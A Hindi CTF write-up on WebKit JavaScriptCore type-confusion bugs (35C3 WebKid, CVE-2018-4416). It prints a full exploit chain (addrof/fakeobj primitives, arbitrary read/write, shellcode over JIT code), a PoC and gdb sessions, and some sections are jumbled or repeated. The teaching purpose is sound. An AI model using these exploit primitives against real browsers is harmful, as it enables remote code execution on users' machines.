#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{
return false;
return false;
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
PropertyOffset offset;
if (structure->isUncacheableDictionary())
if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
else
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
} else {
if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
}
}
if (offset != invalidOffset)
if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example
यहाँ सबसे बड़ी समस्या =tryDeletePropertyQuickly= फ़ंक्शन के बारे में है, जो इस प्रकार कार्य करता है (/Linus Henze/ से टिप्पणी प्रदान की गई):
#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
// Try to get the previous structure of this object
Structure* previous = structure->previousID();
if (!previous)
return false; // If it has none, stop here
unsigned unused;
// Check if the property we're deleting is the last one we added
// This must be the case if the old structure doesn't have this property
bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
if (!isLastAddedProperty)
return false; // Not the last property? Stop here and remove it using the normal way.
// Assert that adding the property to the last structure would result in getting the current structure
RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
// Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
thisObject->setButterfly(vm, nullptr);
}
// Directly set the structure of this object
thisObject->setStructure(vm, previous);
return true;
} #+end_src
संक्षेप में, एक ऑब्जेक्ट पहले जोड़ी गई वस्तु को हटाकर पिछली संरचना ID पर वापस आ जाएगा। उदाहरण के लिए:
#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o is now an object with structure ID 122. o.property = 42; // o is now an object with structure ID 123. The structure is a leaf (has never transitioned)
function helper() { return o[0]; } jitCompile(helper); // Running helper function many times // In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks // when compiling the helper function. As such, it watches structure 123 for transitions.
delete o.property; // o now "went back" to structure ID 122. The watchpoint was not fired. #+end_example
पहले कुछ ज्ञान की समीक्षा करें। JSC में, हमारे पास सही प्रकार रूपांतरण सुनिश्चित करने के लिए रनटाइम प्रकार जाँच और वॉचपॉइंट हैं। किसी फ़ंक्शन के कई बार चलने के बाद, JSC संरचना जाँच का उपयोग नहीं करेगा। इसके बजाय, वह इसे वॉचपॉइंट से बदल देगा। जब एक ऑब्जेक्ट संशोधित होता है, तो ब्राउज़र को इस परिवर्तन को सूचित करने के लिए वॉचपॉइंट ट्रिगर करना चाहिए ताकि वह JS इंटरप्रेटर पर वापस आ जाए और नया JIT कोड उत्पन्न करे।
यहाँ, पिछले ID पर पुनर्स्थापित करने से =watchpoint= ट्रिगर नहीं होगा, भले ही संरचना बदल गई हो, जिसका अर्थ है कि बटरफ्लाई पॉइंटर की संरचना भी बदल जाएगी। हालाँकि, =helper= द्वारा उत्पन्न JIT कोड वापस नहीं आएगा क्योंकि watchpoint ट्रिगर नहीं हुआ है, जिससे प्रकार भ्रम होता है। और JIT कोड अभी भी पुरानी बटरफ्लाई संरचना तक पहुँच सकता है। हम नकली ऑब्जेक्ट को लीक/बना सकते हैं।
यह न्यूनतम हमला प्रिमिटिव है:
#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;
function returnElem() { return haxxArray[0]; }
function setElem(obj) { haxxArray[0] = obj; }
for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }
delete haxxArray.newProperty; haxxArray[0] = {};
function addrof(obj) { haxxArray[0] = obj; return returnElem(); }
function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT code treat it as intereger, but it actually should be an object. // We can leak address from it print(addrof({})); // Almost the same as above, but it's for write data print(fakeobj(addrof({}))); #+end_example
** उपयोगिता फ़ंक्शन :PROPERTIES: :CUSTOM_ID: utility-functions :END: शोषण स्क्रिप्ट कई उपयोगिता फ़ंक्शन बनाती है। वे हमें प्रिमिटिव बनाने में मदद करते हैं जिसकी आपको लगभग हर वेबकिट शोषण में आवश्यकता होती है। हम केवल कुछ महत्वपूर्ण फ़ंक्शन देखेंगे।
*** नेटिव कोड प्राप्त करना :PROPERTIES: :CUSTOM_ID: getting-native-code :END: हमला करने के लिए, हमें शेलकोड या ROP लिखने के लिए एक नेटिव कोड फ़ंक्शन की आवश्यकता है। इसके अलावा, फ़ंक्शन कई बार चलने के बाद ही नेटिव कोड बनेंगे (यह =pwn.js= में है):
#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }
function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
} #+end_example
*** बाइट्स को नियंत्रित करना :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: =int64.js= में, हम एक क्लास =Int64= बनाते हैं। यह संख्या संग्रहीत करने के लिए =Uint8Array= का उपयोग करता है और =add= और =sub= जैसे कई संबंधित ऑपरेशन बनाता है। पिछले अध्याय में, हमने उल्लेख किया था कि JavaScript संख्या को दर्शाने के लिए टैग किए गए मान का उपयोग करता है, जिसका अर्थ है कि आप उच्च बाइट को नियंत्रित नहीं कर सकते। =Uint8Array= सरणी मूल मान की तरह 8-बिट अहस्ताक्षरित पूर्णांकों का प्रतिनिधित्व करती है, जिससे हम सभी 8 बाइट्स को नियंत्रित कर सकते हैं।
=Uint8Array= का सरल उदाहरण उपयोग:
#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17
console.log(x[1]); // value will be converted 8 bit unsigned integers // 211 #+end_example
इसे 16 बाइट सरणी में विलय किया जा सकता है। निम्नलिखित हमें स्पष्ट रूप से दिखाता है कि =Uint8Array= मूल रूप में संग्रहीत होता है, क्योंकि =0x0201= == =513=:
#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example
=Int64= के शेष फ़ंक्शन विभिन्न ऑपरेशनों के अनुकरण हैं। आप उनके नामों और टिप्पणियों से उनके कार्यान्वयन का अनुमान लगा सकते हैं। कोड पढ़ना भी आसान है।
** शोषण लिखना :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** स्क्रिप्ट के बारे में विवरण :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: मैं Saelo के मूल लेखन से कुछ टिप्पणियाँ जोड़ता हूँ (अधिकांश टिप्पणियाँ अभी भी उनका काम हैं, बहुत धन्यवाद!):
#+begin_example const ITERATIONS = 100000;
// A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });
// Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() { #+end_example// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;
// JIT compiler will install a watchpoint to discard the
// compiled code if the structure of |o| ever transitions
// (a heuristic for |o| being modified). As such, there
// won't be runtime checks in the generated code.
function helper() {
return o[0];
}
jitCompile(helper);
// This will take the newly added fast-path, changing the structure
// of |o| without the JIT code being deoptimized (because the structure
// of |o| didn't transition, |o| went "back" to an existing structure).
delete o.addrof_property;
// Now we are free to modify the structure of |o| any way we like,
// the JIT compiler won't notice (it's watching a now unrelated structure).
o[0] = {};
return function(obj) {
o[0] = obj;
return Int64.fromDouble(helper());
};
}
function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;
// Same as above, but write instead of reading from the array.
function helper(addr) {
o[0] = addr;
}
jitCompile(helper, 13.37);
delete o.fakeobj_property;
o[0] = {};
return function(addr) {
helper(addr.asDouble());
return o[0];
};
}
function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();
// verify basic exploit primitives work.
var addr = addrof({p: 0x1337});
assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
print('[+] exploit primitives working');
// from saelo: spray structures to be able to predict their IDs.
// var structs = []
// var i = 0;
// var abc = [13.37];
// abc.pointer = 1234;
// abc['prop' + i] = 13.37;
// structs.push(abc);
// var victim = structs[0];
//
// and the payload still work stablely. It seems this action is redundant
var structs = []
for (var i = 0; i < 0x1000; ++i) {
var array = [13.37];
array.pointer = 1234;
array['prop' + i] = 13.37;
structs.push(array);
}
// take an array from somewhere in the middle so it is preceeded by non-null bytes which
// will later be treated as the butterfly length.
var victim = structs[0x800];
print(`[+] victim @ ${addrof(victim)}`);
// craft a fake object to modify victim
var flags_double_array = new Int64("0x0108200700001000").asJSValue();
var container = {
header: flags_double_array,
butterfly: victim
};
// create object having |victim| as butterfly.
var containerAddr = addrof(container);
print(`[+] container @ ${containerAddr}`);
// add the offset to let compiler recognize fake structure
var hax = fakeobj(Add(containerAddr, 0x10));
// origButterfly is now based on the offset of **victim**
// because it becomes the new butterfly pointer
// and hax[1] === victim.pointer
var origButterfly = hax[1];
var memory = {
addrof: addrof,
fakeobj: fakeobj,
// Write an int64 to the given address.
writeInt64(addr, int64) {
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = int64.asJSValue();
},
// Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
write16(addr, value) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
victim.pointer = value;
},
// Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
write(addr, data) {
while (data.length % 4 != 0)
data.push(0);
var bytes = new Uint8Array(data);
var ints = new Uint16Array(bytes.buffer);
for (var i = 0; i < ints.length; i++)
this.write16(Add(addr, 2 * i), ints[i]);
},
// Read a 64 bit value. Only works for bit patterns that don't represent NaN.
read64(addr) {
// Set butterfly of victim object and dereference.
hax[1] = Add(addr, 0x10).asDouble();
return this.addrof(victim.pointer);
},
// Verify that memory read and write primitives work.
test() {
var v = {};
var obj = {p: v};
var addr = this.addrof(obj);
assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");
var propertyAddr = Add(addr, 0x10);
var value = this.read64(propertyAddr);
assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");
this.write16(propertyAddr, 0x1337);
assert(obj.p == 0x1337, "write16 does not work");
},
};
// Testing code, not related to exploit
var plainObj = {};
var header = memory.read64(addrof(plainObj));
memory.writeInt64(memory.addrof(container), header);
memory.test();
print("[+] limited memory read/write working");
// get targetd function
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
// change the JIT code to shellcode
// offset addjustment is a little bit complicated here :P
print(`[+] shellcode function object @ ${funcAddr}`);
var executableAddr = memory.read64(Add(funcAddr, 24));
print(`[+] executable instance @ ${executableAddr}`);
var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
// var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); // offset for debug builds
// final JIT Code address
var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
print(`[+] JITCode @ ${jitCodeAddr}`);
var s = "A".repeat(64);
var strAddr = addrof(s);
var strData = Add(memory.read64(Add(strAddr, 16)), 20);
shellcode.push(...strData.bytes());
// write shellcode
memory.write(jitCodeAddr, shellcode);
// trigger shellcode
var res = func();
var flag = s.split('\n')[0];
if (typeof(alert) !== 'undefined')
alert(flag);
print(flag);
}
if (typeof(window) === 'undefined') pwn(); #+end_example
** निष्कर्ष ऑन द एक्सप्लॉइटेशन :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: निष्कर्ष के तौर पर, एक्सप्लॉइट दो सबसे महत्वपूर्ण हमला प्रिमिटिव का उपयोग करता है - =addrof= और =fakeobj= - लीक और क्राफ्ट के लिए। एक JITed फंक्शन लीक हो जाता है और हमारे =shellcode= एरे से ओवरराइट हो जाता है। फिर हम फंक्शन को कॉल करते हैं ताकि फ्लैग लीक हो सके। लगभग सभी ब्राउज़र एक्सप्लॉइट इस फॉर्म का अनुसरण करते हैं।
धन्यवाद, 35C3 CTF आयोजकों विशेषकर Saelo को। WebKit टाइप कन्फ्यूज़न सीखने के लिए यह एक बहुत अच्छी चुनौती थी।
मैंने पहले ब्रेकपॉइंट सेट करने की कोशिश की थी ताकि उनके पते पता चल सकें, लेकिन यह वास्तव में बेवकूफी है। /JSC/ में कई गैर-मानक फंक्शन हैं जो हमारे लिए जानकारी डंप कर सकते हैं (आप /Safari/ में उनमें से अधिकांश का उपयोग नहीं कर सकते!): - =print()= और =debug()=: /node.js/ में =console.log()= की तरह, यह हमारे टर्मिनल पर जानकारी आउटपुट करेगा। हालाँकि, /Safari/ में =print= एक वास्तविक प्रिंटर का उपयोग करके दस्तावेज़ प्रिंट करेगा। - =describe()=: एक ऑब्जेक्ट का वर्णन करें। हम इस फंक्शन के माध्यम से पता, क्लास मेंबर, और संबंधित जानकारी प्राप्त कर सकते हैं। - =describeArrya()=: =describe()= के समान, लेकिन यह किसी ऑब्जेक्ट के /array/ जानकारी पर ध्यान केंद्रित करता है। - =readFile()=: एक फ़ाइल खोलें और सामग्री प्राप्त करें - =noDFG()= और =noFLT()=: कुछ JIT कंपाइलर को अक्षम करें।
** ब्रेकपॉइंट सेट करना :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: ब्रेकपॉइंट सेट करने का सबसे आसान तरीका एक अप्रयुक्त फंक्शन को तोड़ना है। जैसे =print= या =Array.prototype.slice([]);=। चूँकि हम नहीं जानते कि कोई फंक्शन ज्यादातर समय PoC को प्रभावित करेगा या नहीं, इस विधि के कुछ दुष्प्रभाव हो सकते हैं।
असुरक्षित फंक्शन को अपने ब्रेकपॉइंट के रूप में सेट करना भी काम करता है। जब आप किसी कमजोरी को समझने की कोशिश करते हैं, तो उन्हें तोड़ना बेहद महत्वपूर्ण होगा। लेकिन उनके कॉलिंग स्टैक सुखद नहीं हो सकते।
हम WebKit स्रोत कोड में एक कस्टम डीबगिंग फंक्शन ( =int 3= का उपयोग करके) भी बना सकते हैं। अपने फंक्शन को =/Source/JavaScriptCore/jsc.cpp= में परिभाषित, कार्यान्वित और पंजीकृत करें। यह हमें डीबगर में WebKit को हैंग करने में मदद करता है:
#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src
चूँकि तीसरी विधि के लिए हमें स्रोत कोड को संशोधित करने की आवश्यकता है, मैं व्यक्तिगत रूप से पिछले दो को पसंद करता हूँ।
** JSC ऑब्जेक्ट्स का निरीक्षण :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: ठीक है, हम इस स्क्रिप्ट का उपयोग करते हैं:
#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))
print() #+end_example
हमारे gdb को gef के साथ उपयोग करके डीबग करें; आप अनुमान लगा सकते हैं कि हम =print()= को तोड़ देंगे:
#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100
... // Some backtrace #+end_example
#+begin_quote ऑब्जेक्ट का पता और बटरफ्लाई पॉइंटर आपकी मशीन पर भिन्न हो सकता है। यदि हम स्क्रिप्ट को संपादित करते हैं, तो पता भी बदल सकता है। कृपया उन्हें अपने आउटपुट के आधार पर समायोजित करें। #+end_quote
हम ऑब्जेक्ट और उसके पॉइंटर पर पहली नज़र डालेंगे:
#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example
क्या होगा अगर हम इसे फ्लोट में बदल दें?
#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))
print() #+end_example
हम यहाँ एक छोटी सी ट्रिक का उपयोग करते हैं: =2261634.5098039214= मेमोरी में =0x4141414141414141= के रूप में दर्शाया जाता है। जादुई संख्या के माध्यम से मान ढूंढना अधिक सुविधाजनक है (हम यहाँ सीधे बटरफ्लाई पॉइंटर का उपयोग करते हैं)। डिफ़ॉल्ट रूप में, JSC अप्रयुक्त मेमोरी को =0x00000000badbeef0= से भर देगा:
#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example
मेमोरी लेआउट /JSC ऑब्जेक्ट मॉडल/ भाग के समान है, इसलिए हम यहाँ दोहराने नहीं जा रहे हैं।
** नेटिव कोड प्राप्त करना :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: अब, संकलित फंक्शन प्राप्त करने का समय है। यह JSC कंपाइलर और एक्सप्लॉइटेशन को समझने में महत्वपूर्ण भूमिका निभाता है:
#+begin_example const ITERATIONS = 100000;
function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")
function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);
return target;
}
func = makeJITCompiledFunction() debug(describe(func))
print() #+end_example
यदि आपने पिछले अनुभाग को ध्यान से पढ़ा है तो यह कठिन नहीं है। अब, हमें डीबगर में उनका नेटिव कोड प्राप्त करना चाहिए:
#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example
Put you dump byte to rasm2:
#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example
Emmmm...डिसअसेंबली कोड आंशिक रूप से गलत है। कम से कम अब हम एक ड्राफ्ट देख सकते हैं।
यह एक टाइप कन्फ्यूज़न है। चूँकि हम पहले ही /WebKid/ के बारे में बात कर चुके हैं, एक समान CTF चुनौती जिसमें टाइप कन्फ्यूज़न बग है, इसे समझना मुश्किल नहीं होगा। कमजोर ब्रांच पर स्विच करें और अपनी यात्रा शुरू करें।
PoC लेख की शुरुआत में प्रदान किया गया है। =int64.js=, =shellcode.js=, और =utils.js= को /WebKid/ रिपो से अपनी वर्चुअल मशीन पर कॉपी और पेस्ट करें।
** मूल कारण :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Lokihardt का उद्धरण :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: निम्नलिखित CVE-2018-4416 का विवरण है /Lokihardt/ से, मेरे आंशिक हाइलाइट के साथ।
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* This is abother target */
/* We want to confuse it(tmp) with obj(fake_object_memory) */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
/* Step 4 */
/* Change the structure of tmp to {} */
tmp.__proto__ = {};
gc();
/* The structure of obj is also {} now */
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
/* Step 5 */
/* Compiler believes obj and tmp share the same type now */
/* Thus, obj[k] will retrieve data from object with offset a */
/* In the patched version, it should be undefined */
return obj[k]; // Type confusion.
}
}
/* Step 0 / / Prepare structure {} */ opt({});
/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);
/* JSC crashed */ print(fake_object); #+end_example
*** पंक्ति दर पंक्ति व्याख्या :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: टिप्पणी =/* */= में मेरा विश्लेषण है, जो गलत हो सकता है। =//= के बाद की टिप्पणी Lokihardt की है:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
/* Step 3 */
/* This is abother target */
/* We want to confuse it(tmp) with obj(fake_object_memory) */
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
/* Step 4 */
/* Change the structure of tmp to {} */
tmp.__proto__ = {};
gc();
/* The structure of obj is also {} now */
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
/* Step 5 */
/* Compiler believes obj and tmp share the same type now */
/* Thus, obj[k] will retrieve data from object with offset a */
/* In the patched version, it should be undefined */
return obj[k]; // Type confusion.
}
}
/* Step 0 / / Prepare structure {} */ opt({});
/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);
/* JSC crashed */ print(fake_object); #+end_example
*** डीबगिंग :PROPERTIES: :CUSTOM_ID: debugging :END: आइए अपने विचार को सत्यापित करने के लिए इसे डीबग करें। मैंने आसान डीबगिंग के लिए मूल PoC को संशोधित किया है। लेकिन वे लगभग समान हैं सिवाय अतिरिक्त =print()= के:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
debug("Confused Object: " + describe(obj));
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example
फिर =gdb ./jsc=, =b *printInternal=, और =r poc.js=। हम प्राप्त कर सकते हैं:
#+begin_example ...
--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142
... #+end_example
आइए हमारे फेक पते पर एक नज़र डालें। JSC आपके सपनों का ब्रेकपॉइंट खोजने के लिए बहुत बड़ा है। इसके बजाय इसके प्रवाह को ट्रैक करने के लिए एक वॉचपॉइंट सेट करें:
#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example
हमें बाद में अपेक्षित आउटपुट मिलता है:
#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000
Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example
लेकिन यह =structure ID= पर क्यों दिखता है? हम उनके मेमोरी लेआउट से उत्तर प्राप्त कर सकते हैं:
#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064
tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleइसलिए, =Uint32Array= का पॉइंटर एक ऑब्जेक्ट के रूप में लौटाया जाता है। और =m_structureID= प्रत्येक JS ऑब्जेक्ट की शुरुआत में होता है। चूंकि =0x1234= हमारी सरणी का पहला तत्व है, इसलिए =structureID()= का इसका पुनर्प्राप्त करना उचित है।
अब हम =Uint32Array= के डेटा का उपयोग करके नकली ऑब्जेक्ट बना सकते हैं। बहुत बढ़िया!
** हमले का प्राइमिटिव बनाना :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: अब, हमें एक वैध ऑब्जेक्ट बनाना चाहिए। मैं ={}= (एक खाली ऑब्जेक्ट) को अपने लक्ष्य के रूप में चुनता हूँ।
मेमोरी में एक खाली ऑब्जेक्ट कैसा दिखता है (यहाँ स्क्रिप्टिंग और डीबगिंग को छोड़ते हुए):
#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example
ठीक है, यह =0x010016000000008a= से शुरू होता है। हम इसे =Uint32Array= में आसानी से अनुकरण कर सकते हैं (यहाँ =gc= और =opt= पेस्ट करना याद रखें):
#+begin_example function gc() { ... // ऊपर जैसा ही }
function opt(obj) { ... // ऊपर जैसा ही }
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}
print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example
दो रहस्यमय संख्याएँ लौटाई गई हैं:
#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src
